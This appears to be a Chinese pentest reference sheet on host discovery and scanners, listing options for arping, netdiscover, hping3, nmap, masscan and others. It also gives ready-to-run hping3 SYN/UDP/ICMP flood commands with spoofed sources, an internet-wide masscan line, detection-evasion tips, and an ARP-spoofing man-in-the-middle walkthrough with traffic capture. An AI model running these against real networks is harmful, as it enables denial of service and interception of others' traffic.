
主机发现 & 扫描器
📡二层发现(数据链路层)
🎈arping
用来向局域网内的其它主机发送 ARP 请求的指令,它可以用来测试局域网内的某个 IP 是否已被使用。 能够看到 MAC 地址,需要高权限用户执行,调用底层协议和对网接口进行配置和管理。
sudo arping [目标] [参数]
sudo arping 192.168.4.114 -c 3
💡参数释义
-
-A:与 -U 参数类似,但是使用的是 ARP REPLY 包而非 ARP REQUEST 包。
-
-b:发送以太网广播帧,arping 在开始时使用广播地址,在收到回复后使用 unicast 单播地址。
-
-c:发送指定的 count 个 ARP REQUEST 包后停止。如果指定了 -w 参数,则会等待相同数量的 ARP REPLY 包,直到超时为止。 (指定发多少个包)
-
-D:重复地址探测模式,用来检测有没有 IP 地址冲突,如果没有 IP 冲突则返回 0。
-
-f:收到第一个响应包后退出。
-
-h:显示帮助页。
-
-I:用来发送 ARP REQUEST 包的网络设备的名称。
-
-q:quite 模式,不显示输出。
-
-U:无理由的(强制的)ARP 模式去更新别的主机上的 ARP CACHE 列表中的本机的信息,不需要响应。
-
-V:显示 arping 的版本号。
-
-w:指定一个超时时间,单位为秒,arping 在到达指定时间后退出,无论期间发送或接收了多少包。在这种情况下,arping 在发送完指定的 count(-c)个包后并不会停止,而是等待到超时或发送的 count 个包都进行了回应后才会退出。
-
-s:设置发送 ARP 包的 IP 资源地址,如果为空,则按如下方式处理:
🎈netdiscover
二层发现工具,拥有主动和被动发现两种方式。
sudo netdiscover [参数] -r [目标]
sudo netdiscover -i eth0 -r 192.168.4.0/24 -c 2
💡参数释义
-
-r 指定目标网段
-
-i 指定网卡
-
-p 被动模式。默默的侦听指定的网卡以发现别的二层主机
-
-t ARP 包发送间隔。单位毫秒。这个可以用来规避检测系统的告警。
-
-l file: 指定扫描范围列表文件
-
-p passive mode: 使用被动扫描的方式,不发送任何数据
-
-m file: 扫描已知 mac 地址和主机名的电脑列表
-
-F filter: 指定 pcap 筛选器表达式 (默认:「arp」)
-
-s time: 每个 arp 请求之间的睡眠时间 (毫秒)
-
-n node: 使用八字节的形式扫描 (2 - 253)
-
-c count: 发送 arp 请求的时间次数
-
-f: 使用主动模式的扫描
-
-d: 忽略配置文件
-
-S: 启用每个 arp 请求之间抑制的睡眠时间
-
-P: 打印结果
-
-N: 不打印头。只有启用 - p 时有效。
-
-L: 将捕获的信息输出 (-P),并继续进行扫描
🎈nbtscan
一个在本地或远程 TCP/IP 网络上扫描开放的 NETBIOS 名称服务器的命令行工具
范围可以表示成「192.168.12.0/24」或「192.168.12.64-97」
sudo nbtscan-unixwiz [参数] [目标]
sudo nbtscan -r 192.168.4.0/24
💡参数释义
-
-V 显示版本信息
-
-f 显示完整的 NBT 资源记录响应 (推荐)
-
-H 生成 HTTP 请求头
-
-v 开启详细输出调试
-
-n 不查找响应 IP 地址的反向名称
-
-p <n> 绑定 UDP 端口 (默认 0)
-
-m 响应中包含 MAC 地址 (等同 '-f')
-
-T <n> 超时不响应 (默认 2 秒)
-
-w <n> 次写入后等待秒数 (默认 10ms)
-
-t <n> 每个地址尝试次数 (默认 1 次)
-
-P 以 perl 的 hashref 格式生成结果
📞三层发现(网络层)
🎈ping
优点:系统自带,非常方便,一般也不会引起一些流量监测设备的报警
缺点:扫描速度慢,目标打开防火墙会导致结果不准确
ping [参数] [目标]
# 循环ping
for /l %i in (1, 1, 255) do @ping 192.168.100.%i -w 1 -n 1 | find /i "ttl"
for i in {1..254}; do ping -c 1 192.168.100.$i &>/dev/null && echo 192.168.100.$i is alive;done
for k in $(seq 1 255);do ping -c 1 192.168.100.$k|grep "ttl"|awk -F "[ :]+" '{print$4}'; done
💡参数释义
-
-t:Ping 目标设备,直到停止操作。
-
-a:将地址解析为主机名。
-
-n count:要发送的 ECHO 请求的数目,默认值为 4。
-
-l size:要发送的缓冲区大小(字节),默认值为 32。
-
-f:设置「不分段」标志,在数据包超出本地网络时,不允许 IP 分段。
-
-i TTL:生存时间,用于设定 ICMP 包的生存时间,默认值是 128。
-
-v TOS:服务类型,支持网络控制、低成本、高可靠性等。
-
-r count:跟踪的路由器数,指定追踪 ICMP 报文的最大跳数
🎈frping
fping 是一个向网络主机发送 ICMP 回显探测的程序,类似于 ping,但在 ping 多个主机时性能要好得多。fping 就是 ping 的加强版,可以对一个 IP 段 进行 ping 扫描
frping [选项] [目标...]
fping -ag 192.168.4.0/24
fping -ag 192.168.4.0/24 2>/dev/null
💡探测选项
-
-4, --ipv4 仅 ping IPv4 地址
-
-6, --ipv6 仅 ping IPv6 地址
-
-b, --size=BYTES 发送的 ping 数据包的大小。以字节为单位(默认值:56)
-
-B, --backoff=N 将指数退避因子设置为 N(默认值:1.5)
-
-c, --count=N 向每个目标发送 ping 的数量。(默认 1)
-
-f, --file=FILE 从文件中读取目标列表( - 表示标准输入)
-
-g, --generate 生成目标列表(仅当未指定 -f 时)
-
(在目标列表中给出开始和结束 IP,或 CIDR 地址)
-
(例如 fping -g 192.168.1.0 192.168.1.255 或 fping -g 192.168.1.0/24)
-
-
-H, --ttl=N 设置 IP 的 TTL 值(Time To Live hops)
-
-I, --iface=IFACE 指定网卡接口,就是从那个网卡接口发送 ping
-
-l, --loop 循环模式:永远发送 ping
-
-m, --all 使用所提供 hostnames 的所有 IP(例如 IPv4 和 IPv6),与 -A 一起使用
-
即 ping 目标主机的多个网口
-
-
-M, --dontfrag 设置不分片标志
-
-O, --tos=N 在 ICMP 数据包上设置服务类型 (tos) 标志
-
-p, --period=Ping 对同一个目标的 ping 包间隔 (毫秒)
-
(在循环和统计模式中,默认为 1000)
-
-
-r, --retry=N 当 ping 失败时,最大重试次数 (默认为 3 次)
-
-R, --random 随机数据包数据(用于阻止链接数据压缩)
-
-S, --src=IP 设置源 IP 地址
-
-t, --timeout=MSEC 单个目标的超时时间 (毫秒)
-
(默认值:500 毫秒,除了 -l/-c/-C,它的 -p 周期最长为 2000 毫秒)
-
💡输出选项
-
-a, --alive 显示活动的目标。即可 ping 通的目标
-
-A, --addr 按 IP 地址显示目标
-
-C,--vcount=N 同 -c,以详细格式报告结果
-
-d, --rdns 按名称显示目标(强制反向 DNS 查找)
-
-D, --timestamp 在每个输出行之前打印时间戳
-
-e, --elapsed 显示返回数据包经过的时间
-
-i, --interval=MSEC ping 数据包之间的 MSEC 间隔(默认值:10 毫秒)
-
-n, --name 按名称显示目标(目标 IP 的反向 DNS 查找)
-
-N, --netdata 兼容 netdata 的输出(需要 -l -Q)
-
-o, --outage 显示累计中断时间(丢包 * 包间隔)
-
-q, --quiet 安静模式 (不显示每个目标或每个 ping 的结果)
-
-Q, --squiet=SECS 同 -q, 但是,每 n 秒显示信息概要
-
-s, --stats 打印最终统计数据
-
-u, --unreach 显示不可到达的目标
-
-v, --version 显示版本
-
-x, --reachable=N 显示 >=N 主机是否可达
🎈hping3
通常被用在 web 服务,用来做压力测试使用,进行 DOS 攻击实验。hping3 缺点是每次只能扫描一次目标。虽然 hping 以前主要用作安全工具,但它可以在许多方面被不太关心安全性的人员用于测试网络和主机,您可以使用 hping 的一小部分内容
hping3 [目标] [参数]
# 示例
UDP dos攻击:
sudo hping3 -c 10000 -d 120 --udp -w 64 -p 80 --flood --rand-source 192.168.126.148
ICMP dos攻击:
sudo hping3 -c 10000 -d 120 --icmp -w 64 -p 80 --flood --rand-source 192.168.126.148
SYN dos攻击:(注意下对方防火墙是否关闭)
sudo hping3 -c 10000 -d 120 -S -w 64 -p 80 --flood --rand-source 192.168.126.148
💡参数释义
-
-h --help 显示帮助
-
-v --version 显示版本
-
-c --count 发送数据包的数目
-
-i --interval 每个数据包的时间间隔 (uX X 表示微秒, 示例:-i u1000)
-
--fast 等价 -i u10000 (每秒发送 10 个数据包)
-
--faster 等价 -i u1000 (每秒发送 100 个数据包)
-
--flood 尽最快发送数据包,不显示回复。
-
-
-n --numeric 数字化输出,象征性输出主机地址。
-
-q --quiet 安静模式
-
-I --interface 网卡接口 (默认是路由接口)
-
-V --verbose 详细模式
-
-D --debug 调试信息
-
-z --bind 绑定 ctrl+z 到 ttl (默认为目的端口)
-
-Z --unbind 取消绑定 ctrl+z 键
-
--beep 对于接收到的每个匹配数据包蜂鸣声提示
-
💡模式选择
default mode TCP // 默认模式是 TCP
-
-0 --rawip 原始 IP 模式。即裸 IP 方式。使用 RAWSOCKET 方式。
-
在此模式下 hping 会发送带数据的 IP 头。
-
-
-1 --icmp ICMP 模式
-
-2 --udp UDP 模式
-
-8 --scan 扫描 模式。示例:hping --scan 1-30,70-90 -S www.target.host
-
-9 --listen 监听 模式
💡IP 模式
-
-a --spoof 源地址欺骗。
-
伪造 IP 攻击,防火墙就不会记录你的真实 IP,当然回应的包你也接收不到。
-
-
--rand-dest 随机目的地址模式。详细使用 man 命令
-
--rand-source 随机源地址模式。详细使用 man 命令
-
-t --ttl 设置 ttl (默认 64)
-
-N --id 设置 hping 中的 ID 值,默认随机值
-
-W --winid 使用 win* id 字节顺序。
-
使用 winid 模式,针对不同的操作系统。UNIX ,WINDIWS 的 id 回应不同的,
-
选项可以让你的 ID 回应和 WINDOWS 一样。
-
-
-r --rel 相对 id 字段 (估计主机流量)。更改 ID 的,可以让 ID 曾递减输出,详见 HPING-HOWTO。
-
-f --frag 拆分数据包成更多的 frag。即 一个数据包 分段 成多个数据包,
-
可以测试对方或者交换机碎片处理能力,缺省 16 字节。(可能会通过弱的 ACL 限制)
-
-
-x --morefrag 设置更多的分段标志。大量碎片,泪滴攻击。
-
-y --dontfrag 设置不分段的标志。即发送不可恢复的 IP 碎片,
-
通过这个可以让你了解更多的 MTU PATH DISCOVERY。
-
-
-g --fragoff 设置断偏移。
-
-m --mtu 设置虚拟 MTU 值,如果 packet size > mtu 时,实现 --frag。
-
-o --tos type of service (default 0x00), try --tos help
-
-G --rroute 显示路由缓存,包括 RECORD_ROUTE 选项
-
--lsrr 松散源路由和路由记录
-
--ssrr 严格的源路由和路由记录
-
-
-H --ipproto 设置 IP 协议字段,仅在 RAW IP 模式下使用
💡ICMP 模式
-
-C --icmptype icmp 类型 (默认回显请求)
-
-K --icmpcode icmp 码 (默认 0)
-
--force-icmp 发送所有 icmp 类型 (默认只发送支持的类型)
-
--icmp-gw 设置 ICMP 重定向网关。(默认 0.0.0.0) // ICMP 重定向
-
--icmp-ts 等同 --icmp --icmptype 13 (ICMP 时间戳)
-
--icmp-addr 等同 --icmp --icmptype 17 (ICMP 地址 子网 掩码)
-
--icmp-help 显示其他 icmp 选项帮助 // ICMP 帮助
-
💡UDP/TCP 模式
-
-s --baseport 源端口 (默认随机)
-
-p --destport [+][+]<port> 目的端口 (默认 0) ctrl+z inc/dec
-
-k --keep 保持源端口。即源端口不关闭,一直处于监听状态
-
-w --win winsize (default 64)。win 的滑动窗口。windows 发送字节 (默认 64)
-
-O --tcpoff 伪造 tcp 数据偏移量 (用来代替 "tcp 地址长度 / 4")
-
-Q --seqnum 仅显示 tcp 序列号
-
-b --badcksum (尝试) 发送带有错误 checksum 的 IP 数据包。
-
许多系统将修复发送数据包的 IP 校验和。
-
所以你会得到错误 UDP/TCP 校验和。
-
-
-M --setseq 设置 TCP 序列号
-
-L --setack set TCP ack (注意:不是设置 TCP ACK 的 flag)
-
-F --fin set FIN flag
-
-S --syn set SYN flag
-
-R --rst set RST flag
-
-P --push set PUSH flag
-
-A --ack set ACK flag (注意:设置 TCP ACK 的 flag)
-
-U --urg set URG flag // 一大堆 IP 数据包头的设置。
-
-X --xmas set X unused flag (0x40)
-
-Y --ymas set Y unused flag (0x80)
-
--tcpexitcode use last tcp->th_flags as exit code
-
--tcp-mss 用给定的值,启用并设置 TCP MSS
-
--tcp-timestamp 启用 TCP 时间戳 来猜测 HZ/uptime
-
💡设置
-
-d --data 数据大小 (默认是 0)
-
-E --file 从文件获取数据
-
-e --sign 添加 'signature'
-
-j --dump 转储为 16 进制数据包
-
-J --print 转储为可打印字符
-
-B --safe 启用「安全」协议
-
-u --end 告诉 --file 何时到达 EOF 并阻止倒回。
-
-T --traceroute 追踪模式。(等同 --bind and --ttl 1)
-
--tr-stop 在 追踪模式 下收到第一个不是 ICMP 时退出
-
--tr-keep-ttl 保持源 TTL 固定,对仅监控一跳很有用
-
--tr-no-rtt 不要在 traceroute 模式下计算 / 显示 RTT 信息 ARS 数据包描述 (新增功能,不稳定的)
-
--apd-send 发送用 APD 描述的数据包 (参见 docs/APD.txt)
-
📟四层发现(传输层)
🎈nmap
NMap,也就是 Network Mapper,是 Linux 下的网络扫描和嗅探工具包。
四大探测
# 主机发现
nmap -sn 192.168.4.0/24
nmap -Pn 192.168.4.0/24
nmap -sS 192.168.4.0/24
# 端口探测
nmap -sT -T 5 -p- 192.168.4.171
nmap -sT --min-rate=10000 -p- 192.168.4.171
nmap -sU -T 5 -p- 192.168.4.171
# 详细详细探测
nmap -sT -sV -O -sC --min-rate=10000 -p80,8080,135,139,445,3306,8009 192.168.4.171
# 漏洞探测
nmap --script=vuln --min-rate=10000 -p80,8080,135,139,445,3306,8009 192.168.4.171 -oN 123.txt
🎈Masscan
号称五分钟扫遍全网
Masscan 性能优越,极限速度可以从单机每秒发送 1000 万个数据包。
Masscan 使用了与另一个著名的扫描工具 —— nmap 类似的命令行参数
masscan 0.0.0.0/0 -p0-65535 扫遍全网
sudo masscan 192.168.126.128 -p80,3389,22,23,21
🎈rustscan
Rust 语言
能联动 nmap
sudo ./rustscan -a 192.168.126.148
sudo ./rustscan -a 192.168.126.148 -- -A # 联动nmap探测
🎈fscan
综合型的扫描器
sudo ./fscan -h 192.168.4.0/24
sudo ./fscan -h 192.168.4.171
⚔️ARP 攻击
ARP 攻击就是通过伪造 IP 地址和 MAC 地址实现 ARP 欺骗,能够在网络中产生大量的 ARP 通信量使网络阻塞。攻击者只要持续不断的发出伪造的 ARP 响应包就能更改主机 ARP 缓存中的 IP-MAC 条目,造成网络中断或中间人攻击。
攻击机:192.168.126.175
目标:192.168.126.148
sudo arpspoof -i eth0 -t 192.168.126.148 -r 192.168.126.2
在 kali 上开启路由转发
echo 1>/proc/sys/net/ipv4/ip_forward
cat /proc/sys/net/ipv4/ip_forward
尝试获取对方操作
driftnet -i etho -d /home/kali/Desktop/1